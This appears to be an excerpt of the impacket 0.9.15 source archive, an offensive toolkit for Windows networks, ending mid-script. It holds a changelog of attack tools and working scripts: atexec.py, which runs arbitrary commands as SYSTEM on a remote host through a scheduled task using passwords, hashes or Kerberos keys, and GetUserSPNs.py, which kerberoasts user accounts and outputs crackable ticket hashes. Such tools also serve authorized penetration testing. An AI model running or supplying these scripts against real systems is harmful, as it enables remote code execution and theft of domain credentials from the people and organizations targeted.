impacket-0.9.15/0000700000076500000000000000000012734532622013446 5ustar betowheel00000000000000impacket-0.9.15/ChangeLog0000600000076500000000000003033612734531507015230 0ustar betowheel00000000000000Complete list of changes can be found at: https://github.com/CoreSecurity/impacket/commits/master June 2016: 0.9.15: 1) Library improvements * SMB3.create: define CreateContextsOffset and CreateContextsLength when applicable (by @rrerolle) * Retrieve user principal name from CCache file allowing to call any script with -k and just the target system (by @MrTchuss) * Packet fragmentation for DCE RPC layer mayor overhaul. * Improved pass-the-key attacks scenarios (by @skelsec) * Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to build the search filter yourself) * IPv6 improvements for DCERPC/LDAP and Kerberos 2) Examples improvements * Adding -dc-ip switch to all examples. It allows to specify what the IP for the domain is. It assumes the DC and KDC resides in the same server * secretsdump.py a. Adding support for Win2016 TP4 in LOCAL or -use-vss mode b. Adding -just-dc-user switch to download just a single user data (DRSUAPI mode only) c. Support for different ReplEpoch (DRSUAPI only) d. pwdLastSet is also included in the output file e. New structures/flags added for 2016 TP5 PAM support * wmiquery.py a. Adding -rpc-auth-level switch (by @gadio) * smbrelayx.py a. Added option to specify authentication status code to be sent to requesting client (by @mgeeky) b. Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol) 3) New Examples * GetUserSPNs.py: This module will try to find Service Principal Names that are associated with normal user account. This is part of the kerberoast attack researched by Tim Medin (@timmedin) * ntlmrelayx.py: smbrelayx.py on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc) (by @dirkjanm) January 2016: 0.9.14: 1) Library improvements * [MS-TSCH] - ATSVC, SASec and ITaskSchedulerService Interface implementations * [MS-DRSR] - Directory Replication Service DRSUAPI Interface implementation * Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved * Unicode support (optional) for the SMBv1 stack (by @rdubourguais) * NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie) * Kerberos support for TDS (MSSQL) * Extended present flags support on RadioTap class * Old DCERPC runtime code removed 2) Examples improvements * mssqlclient.py: Added Kerberos authentication support * atexec.py: It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2 * smbrelayx.py: * If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default * Added -c option to execute custom commands in the target (by @byt3bl33d3r) * secretsdump.py: a. Active Directory hashes/Kerberos keys are dumped using [MS-DRSR] (IDL_DRSGetNCChanges method) by default. VSS method is still available by using the -use-vss switch b. Added -just-dc (Extract only NTDS.DIT NTLM Hashes and Kerberos) and -just-dc-ntlm ( only NTDS.DIT NTLM Hashes ) options c. Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops. Use -resumefile option d. Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump ([MS-SAMR] 3.1.1.8.11.5) e. Add support for multiple password encryption keys (PEK) (by @s0crat) * goldenPac.py: Tests all DCs in domain and adding forest's enterprise admin group inside PAC 3) New examples * raiseChild.py: Child domain to forest privilege escalation exploit. Implements a child-domain to forest privilege escalation as detailed by Sean Metcalf at https://adsecurity.org/?p=1640 * netview.py: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix) May 2015: 0.9.13: 1) Library improvements * Kerberos support for SMB and DCERPC featuring: a. kerberosLogin() added to SMBConnection (all SMB versions). b. Support for RPC_C_AUTHN_GSS_NEGOTIATE at the DCERPC layer. This will negotiate Kerberos. This also includes DCOM. c. Pass-the-hash, pass-the-ticket and pass-the-key support. d. Ccache support, compatible with Kerberos utilities (kinit, klist, etc). e. Support for RC4, AES128_CTS_HMAC_SHA1_96 and AES256_CTS_HMAC_SHA1_96 ciphers. f. Support for RPC_C_AUTHN_LEVEL_PKT_PRIVACY/RPC_C_AUTHN_LEVEL_PKT_INTEGRITY. * SMB3 encryption support. Pycrypto experimental version that supports AES_CCM is required. * [MS-SAMR]: Supplemental Credentials support (used by secretsdump.py) * SMBSERVER improvements: a. SMB2 (2.002) dialect experimental support. b. Adding capability to export to John The Ripper format files * Library logging overhaul. Now there's a single logger called 'impacket'. 2) Examples improvements * Added Kerberos support to all modules (incl. pass-the-ticket/key) * Ported most of the modules to the new dcerpc.v5 runtime. * secretsdump.py: Added dumping Kerberos keys when parsing NTDS.DIT * smbserver.py: support for SMB2 (not enabled by default) * smbrelayx.py: Added support for MS15-027 exploitation. 3) New examples * goldenPac.py: MS14-068 exploit. Saves the golden ticket and also launches a psexec session at the target. * karmaSMB.py: SMB Server that answers specific file contents regardless of the SMB share and pathname requested. * wmipersist.py: Creates persistence over WMI. Adds/Removes WMI Event Consumers/Filters to execute VBS based on a WQL filter or timer specified. July 2014: 0.9.12: 1) The following protocols were added based on its standard definition * [MS-DCOM] - Distributed Component Object module Protocol (dcom.py) * [MS-OAUT] - OLE Automation Protocol (dcom/oaut.py) * [MS-WMI]/[MS-WMIO] : Windows Management Instrumentation Remote Protocol (dcom/wmi.py) 2) New examples a. wmiquery.py: executes WMI queries and get WMI object's descriptions. b. wmiexec.py: agent-less, semi-interactive shell using WMI. c. smbserver.py: quick an easy way to share files using the SMB protocol. February 2014: 0.9.11: 1) New RPC and NDR runtime (located at impacket.dcerpc.v5, old one still available) a. Support marshaling/unmarshaling for NDR20 and NDR64 (experimental) b. Support for RPC_C_AUTHN_NETLOGON (experimental) c. The following interface were developed based on its standard definition: * [MS-LSAD] - Local Security Authority (Domain Policy) Remote Protocol (lsad.py) * [MS-LSAT] - Local Security Authority (Translation Methods) Remote Protocol (lsat.py) * [MS-NRPC] - Netlogon Remote Protocol (nrpc.py) * [MS-RRP] - Windows Remote Registry Protocol (rrp.py) * [MS-SAMR] - Security Account Manager (SAM) Remote Protocol (samr.py) * [MS-SCMR] - Service Control Manager Remote Protocol (scmr.py) * [MS-SRVS] - Server Service Remote Protocol (srvs.py) * [MS-WKST] - Workstation Service Remote Protocol (wkst.py) * [MS-RPCE]-C706 - Remote Procedure Call Protocol Extensions (epm.py) * [MS-DTYP] - Windows Data Types (dtypes.py) Most of the DCE Calls have helper functions for easier use. Test cases added for all calls (check the test cases directory) 2) ESE parser (Extensive Storage Engine) (ese.py) 3) Windows Registry parser (winregistry.py) 4) TDS protocol now supports SSL, can be used from mssqlclient 5) Support for EAPOL, EAP and WPS decoders 6) VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi 7) New examples a. rdp_check.py: tests whether an account (pwd or hashes) is valid against an RDP server b. esentutl.py: ESE example to show how to interact with ESE databases (e.g. NTDS.dit) c. ntfs-read.py: mini shell for browsing an NTFS volume d. registry-read.py: Windows offline registry reader e. secretsdump.py: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS) March 2013: 0.9.10: 1) SMB version 2 and 3 protocol support ([MS-SMB2]). Signing supported, encryption for SMB3 still pending. 2) Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and SMB version independent. It will pick the best SMB Version when connecting against the target. Check smbconnection.py for a list of available methods across all the protocols. 3) Partial TDS implementation ([MS-TDS] & [MC-SQLR]) so we could talk with MSSQL Servers. 4) Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server. 5) DCERPC Endpoints' new calls a. EPM: lookup(): It can work as a general portmapper, or just to find specific interfaces/objects. 6) New examples a. mssqlclient.py: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives you an SQL prompt for your pleasure. b. mssqlinstance.py: Lists the MS SQL instances running on a target machine. c. rpcdump.py: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to develop new functionality to interact against a target interface. d. smbexec.py: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the technique described at http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access. It also supports instantiating a local smbserver to receive the output of the commandos executed for those situations where no share is available on the other end. e. smbrelayx.py: It now also listens on port 80 and forwards/reflects the credentials accordingly. And finally tons of fixes :). July 2012: 0.9.9: 1) Added 802.11 packets encoding/decoding 2) Addition of support for IP6, ICMP6 and NDP packets. Addition of IP6_Address helper class. 3) SMB/DCERPC a. GSS-API/SPNEGO Support. b. SPN support in auth blob. c. NTLM2 and NTLMv2 support. d. Default SMB port now 445. If *SMBSERVER is specified the library will try to resolve the netbios name. e. Pass the hash supported for SMB/DCE-RPC. f. IPv6 support for SMB/NMB/DCERPC. g. DOMAIN support for authentication. h. SMB signing support when server enforces it. i. DCERPC signing/sealing for all NTLM flavours. j. DCERPC transport now accepts an already established SMB connection. k. Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by forwarding named pipes requests). l. Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoidg Windows 7 nasty bug when that pipe's not functional. 4) DCERPC Endpoints' new calls a. SRVSVC: NetrShareEnum(Level1), NetrShareGetInfo(Level2), NetrServerGetInfo(Level2), NetrRemoteTOD(), NetprNameCanonicalize(). b. SVCCTL: CloseServiceHandle(), OpenSCManagerW(), CreateServiceW(), StartServiceW(), OpenServiceW(), OpenServiceA(), StopService(), DeleteService(), EnumServicesStatusW(), QueryServiceStatus(), QueryServiceConfigW(). c. WKSSVC: NetrWkstaTransportEnum(). d. SAMR: OpenAlias(), GetMembersInAlias(). e. LSARPC: LsarOpenPolicy2(), LsarLookupSids(), LsarClose(). 5) New examples a. ifmap.py: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is listed and/or listening. b. lookupsid.py: DCE/RPC lookup sid brute forcer example. c. opdump.py: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first 256 operation numbers in turn and reports the outcome of each call. d. services.py: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST). e. test_wkssvc: DCE/RPC WKSSVC examples, playing with the functions Implemented. f. smbrelayx: Passes credentials to a third party server when doing MiTM. g. smbserver: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but not enforced. Tested under Windows, Linux and MacOS clients. h. smbclient.py: now supports history, new commands also added. i. psexec.py: Execute remote commands on Windows machines impacket-0.9.15/examples/0000700000076500000000000000000012734532622015264 5ustar betowheel00000000000000impacket-0.9.15/examples/atexec.py0000700000076500000000000002075612734531507017125 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # ATSVC example for some functions implemented, creates, enums, runs, delete jobs # This example executes a command on the target machine through the Task Scheduler # service. Returns the output of such command # # Author: # Alberto Solino (@agsolino) # # Reference for: # DCE/RPC for TSCH import string import sys import argparse import time import random import logging from impacket.examples import logger from impacket import version from impacket.dcerpc.v5 import tsch, transport from impacket.dcerpc.v5.dtypes import NULL class TSCH_EXEC: def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, command=None): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__command = command if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def play(self, addr): stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) try: self.doStuff(rpctransport) except Exception, e: #import traceback #traceback.print_exc() logging.error(e) if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0: logging.info('When STATUS_OBJECT_NAME_NOT_FOUND is received, try running again. It might work') def doStuff(self, rpctransport): def output_callback(data): print data dce = rpctransport.get_dce_rpc() dce.set_credentials(*rpctransport.get_credentials()) dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tmpName = ''.join([random.choice(string.letters) for _ in range(8)]) tmpFileName = tmpName + '.tmp' xml = """ 2015-07-15T20:35:13.2757294 true 1 S-1-5-18 HighestAvailable IgnoreNew false false true false true false true true true false false P3D 7 cmd.exe /C %s > %%windir%%\\Temp\\%s 2>&1 """ % (self.__command, tmpFileName) taskCreated = False try: logging.info('Creating task \\%s' % tmpName) tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) taskCreated = True logging.info('Running task \\%s' % tmpName) tsch.hSchRpcRun(dce, '\\%s' % tmpName) done = False while not done: logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) if resp['pLastRuntime']['wYear'] != 0: done = True else: time.sleep(2) logging.info('Deleting task \\%s' % tmpName) tsch.hSchRpcDelete(dce, '\\%s' % tmpName) taskCreated = False except tsch.DCERPCSessionError, e: logging.error(e) e.get_packet().dump() finally: if taskCreated is True: tsch.hSchRpcDelete(dce, '\\%s' % tmpName) smbConnection = rpctransport.get_smb_connection() waitOnce = True while True: try: logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) break except Exception, e: if str(e).find('SHARING') > 0: time.sleep(3) elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: if waitOnce is True: # We're giving it the chance to flush the file before giving up time.sleep(3) waitOnce = False else: raise else: raise logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) dce.disconnect() # Process command-line arguments. if __name__ == '__main__': print version.BANNER # Init the example's logger theme logger.init() logging.warning("This will work ONLY on Windows >= Vista") parser = argparse.ArgumentParser() parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('command', action='store', nargs='*', default = ' ', help='command to execute at the target ') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match( options.target).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True atsvc_exec = TSCH_EXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, ' '.join(options.command)) atsvc_exec.play(address) impacket-0.9.15/examples/esentutl.py0000700000076500000000000000610112734531507017503 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # ESE utility. Allows dumping catalog, pages and tables. # # Author: # Alberto Solino (@agsolino) # # # Reference for: # Extensive Storage Engine (ese) # import sys import logging import argparse from impacket.examples import logger from impacket import version from impacket.ese import ESENT_DB def dumpPage(ese, pageNum): data = ese.getPage(pageNum) data.dump() def exportTable(ese, tableName): cursor = ese.openTable(tableName) if cursor is None: logging.error('Can"t get a cursor for table: %s' % tableName) return i = 1 print "Table: %s" % tableName while True: try: record = ese.getNextRow(cursor) except: logging.error('Error while calling getNextRow(), trying the next one') continue if record is None: break print "*** %d" % i for j in record.keys(): if record[j] is not None: print "%-30s: %r" % (j, record[j]) i += 1 def main(): print version.BANNER # Init the example's logger theme logger.init() parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping catalog, pages and tables.") parser.add_argument('databaseFile', action='store', help='ESE to open') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-page', action='store', help='page to open') subparsers = parser.add_subparsers(help='actions', dest='action') # dump page dump_parser = subparsers.add_parser('dump', help='dumps an specific page') dump_parser.add_argument('-page', action='store', required=True, help='page to dump') # info page subparsers.add_parser('info', help='dumps the catalog info for the DB') # export page export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB') export_parser.add_argument('-table', action='store', required=True, help='table to dump') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) ese = ESENT_DB(options.databaseFile) try: if options.action.upper() == 'INFO': ese.printCatalog() elif options.action.upper() == 'DUMP': dumpPage(ese, int(options.page)) elif options.action.upper() == 'EXPORT': exportTable(ese, options.table) else: logging.error('Unknown action %s ' % options.action) raise except Exception, e: #import traceback #print traceback.print_exc() print e ese.close() if __name__ == '__main__': main() sys.exit(1) impacket-0.9.15/examples/GetUserSPNs.py0000700000076500000000000004412412734531507017771 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Author: # Alberto Solino (@agsolino) # # Description: # This module will try to find Service Principal Names that are associated with normal user account. # Since normal account's password tend to be shorter than machine accounts, and knowing that a TGS request # will encrypt the ticket with the account the SPN is running under, this could be used for an offline # bruteforcing attack of the SPNs account NTLM hash if we can gather valid TGS for those SPNs. # This is part of the kerberoast attack researched by Tim Medin (@timmedin) and detailed at # https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf # # Original idea of implementing this in Python belongs to @skelsec and his # https://github.com/skelsec/PyKerberoast project # # This module provides a Python implementation for this attack, adding also the ability to PtH/Ticket/Key. # Also, disabled accounts won't be shown. # # ToDo: # [X] Add the capability for requesting TGS and output them in JtR/hashcat format # [ ] Improve the search filter, we have to specify we don't want machine accounts in the answer # (play with userAccountControl) # import argparse import logging import os import sys from datetime import datetime from binascii import hexlify, unhexlify from pyasn1.codec.der import decoder from impacket import version from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_NORMAL_ACCOUNT from impacket.examples import logger from impacket.krb5 import constants from impacket.krb5.asn1 import TGS_REP from impacket.krb5.ccache import CCache from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5.types import Principal from impacket.ldap import ldap, ldapasn1 from impacket.smbconnection import SMBConnection class GetUserSPNs: @staticmethod def printTable(items, header): colLen = [] for i, col in enumerate(header): rowMaxLen = max([len(row[i]) for row in items]) colLen.append(max(rowMaxLen, len(col))) outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) # Print header print outputFormat.format(*header) print ' '.join(['-' * itemLen for itemLen in colLen]) # And now the rows for row in items: print outputFormat.format(*row) def __init__(self, username, password, domain, cmdLineOptions): self.options = cmdLineOptions self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__outputFileName = options.outputfile self.__aesKey = cmdLineOptions.aesKey self.__doKerberos = cmdLineOptions.k self.__target = None self.__requestTGS = options.request self.__kdcHost = cmdLineOptions.dc_ip self.__saveTGS = cmdLineOptions.save if cmdLineOptions.hashes is not None: self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':') # Create the baseDN domainParts = self.__domain.split('.') self.baseDN = '' for i in domainParts: self.baseDN += 'dc=%s,' % i # Remove last ',' self.baseDN = self.baseDN[:-1] def getMachineName(self): if self.__kdcHost is not None: s = SMBConnection(self.__kdcHost, self.__kdcHost) else: s = SMBConnection(self.__domain, self.__domain) try: s.login('', '') except Exception: logging.debug('Error while anonymous logging into %s' % self.__domain) s.logoff() return s.getServerName() @staticmethod def getUnixTime(t): t -= 116444736000000000 t /= 10000000 return t def getTGT(self): try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if self.__domain == '': domain = ccache.principal.realm['data'] else: domain = self.__domain logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() logging.debug('Using TGT from cache') return TGT else: logging.debug("No valid credentials found in cache. ") # No TGT in cache, request it userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost) TGT = {} TGT['KDC_REP'] = tgt TGT['cipher'] = cipher TGT['sessionKey'] = sessionKey return TGT def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # According to RFC4757 the cipher part is like: # struct EDATA { # struct HEADER { # OCTET Checksum[16]; # OCTET Confounder[8]; # } Header; # OCTET Data[0]; # } edata; # # In short, we're interested in splitting the checksum and the rest of the encrypted data # if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn, hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:]))) if fd is None: print entry else: fd.write(entry+'\n') else: logging.error('Skipping %s/%s due to incompatible e-type %d' % ( decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], decodedTGS['ticket']['enc-part']['etype'])) if self.__saveTGS is True: # Save the ticket logging.debug('About to save TGS for %s' % username) ccache = CCache() try: ccache.fromTGS(tgs, oldSessionKey, sessionKey ) ccache.saveFile('%s.ccache' % username) except Exception, e: logging.error(str(e)) def run(self): if self.__doKerberos: self.__target = self.getMachineName() else: if self.__kdcHost is not None: self.__target = self.__kdcHost else: self.__target = self.__domain # Connect to LDAP try: ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) except ldap.LDAPSessionError, e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) else: raise # Building the following filter: # (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))) # (servicePrincipalName=*) and0 = ldapasn1.Filter() and0['present'] = ldapasn1.Present('servicePrincipalName') # (UserAccountControl:1.2.840.113556.1.4.803:=512) and1 = ldapasn1.Filter() and1['extensibleMatch'] = ldapasn1.MatchingRuleAssertion() and1['extensibleMatch']['matchingRule'] = ldapasn1.MatchingRuleId('1.2.840.113556.1.4.803') and1['extensibleMatch']['type'] = ldapasn1.TypeDescription('UserAccountControl') and1['extensibleMatch']['matchValue'] = ldapasn1.matchValueAssertion(UF_NORMAL_ACCOUNT) and1['extensibleMatch']['dnAttributes'] = False # !(UserAccountControl:1.2.840.113556.1.4.803:=2) and2 = ldapasn1.Not() and2['notFilter'] = ldapasn1.Filter() and2['notFilter']['extensibleMatch'] = ldapasn1.MatchingRuleAssertion() and2['notFilter']['extensibleMatch']['matchingRule'] = ldapasn1.MatchingRuleId('1.2.840.113556.1.4.803') and2['notFilter']['extensibleMatch']['type'] = ldapasn1.TypeDescription('UserAccountControl') and2['notFilter']['extensibleMatch']['matchValue'] = ldapasn1.matchValueAssertion(UF_ACCOUNTDISABLE) and2['notFilter']['extensibleMatch']['dnAttributes'] = False searchFilter = ldapasn1.Filter() searchFilter['and'] = ldapasn1.And() searchFilter['and'][0] = and0 searchFilter['and'][1] = and1 # searchFilter['and'][2] = and2 # Exception here, setting verifyConstraints to False so pyasn1 doesn't warn about incompatible tags searchFilter['and'].setComponentByPosition(2,and2, verifyConstraints=False) try: resp = ldapConnection.search(searchFilter=searchFilter, attributes=['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'], sizeLimit=999) except ldap.LDAPSearchError, e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received') # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: raise answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if attribute['type'] == 'sAMAccountName': if str(attribute['vals'][0]).endswith('$') is False: # User Account sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif attribute['type'] == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) elif attribute['type'] == 'memberOf': memberOf = str(attribute['vals'][0]) elif attribute['type'] == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '' else: pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif attribute['type'] == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '' else: lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0]))))) elif attribute['type'] == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon]) except Exception, e: logging.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers)>0: self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon"]) print '\n\n' if self.__requestTGS is True: # Let's get unique user names an a SPN to request a TGS for users = dict( (vals[1], vals[0]) for vals in answers) # Get a TGT for the current user TGT = self.getTGT() if self.__outputFileName is not None: fd = open(self.__outputFileName, 'w+') else: fd = None for user, SPN in users.iteritems(): try: serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, self.__kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) self.outputTGS(tgs, oldSessionKey, sessionKey, user, SPN, fd) except Exception , e: logging.error(str(e)) if fd is not None: fd.close() else: print "No entries found!" # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print version.BANNER parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for SPNs that are running under a user account") parser.add_argument('target', action='store', help='domain/username[:password]') parser.add_argument('-request', action='store_true', default='False', help='Requests TGS for users and output them in JtR/hashcat format (default False)') parser.add_argument('-save', action='store_true', default='False', help='Saves TGS requested to disk. Format is .ccache. Auto selects -request') parser.add_argument('-outputfile', action='store', help='Output filename to write ciphers in JtR/hashcat format') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re # This is because I'm lazy with regex # ToDo: We need to change the regex to fullfil domain/username[:password] targetParam = options.target+'@' domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(targetParam).groups('') #In case the password contains '@' if '@' in address: password = password + '@' + address.rpartition('@')[0] address = address.rpartition('@')[2] if domain is '': logging.critical('Domain should be specified!') sys.exit(1) if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.aesKey is not None: options.k = True if options.save is True or options.outputfile is not None: options.request = True try: executer = GetUserSPNs(username, password, domain, options) executer.run() except 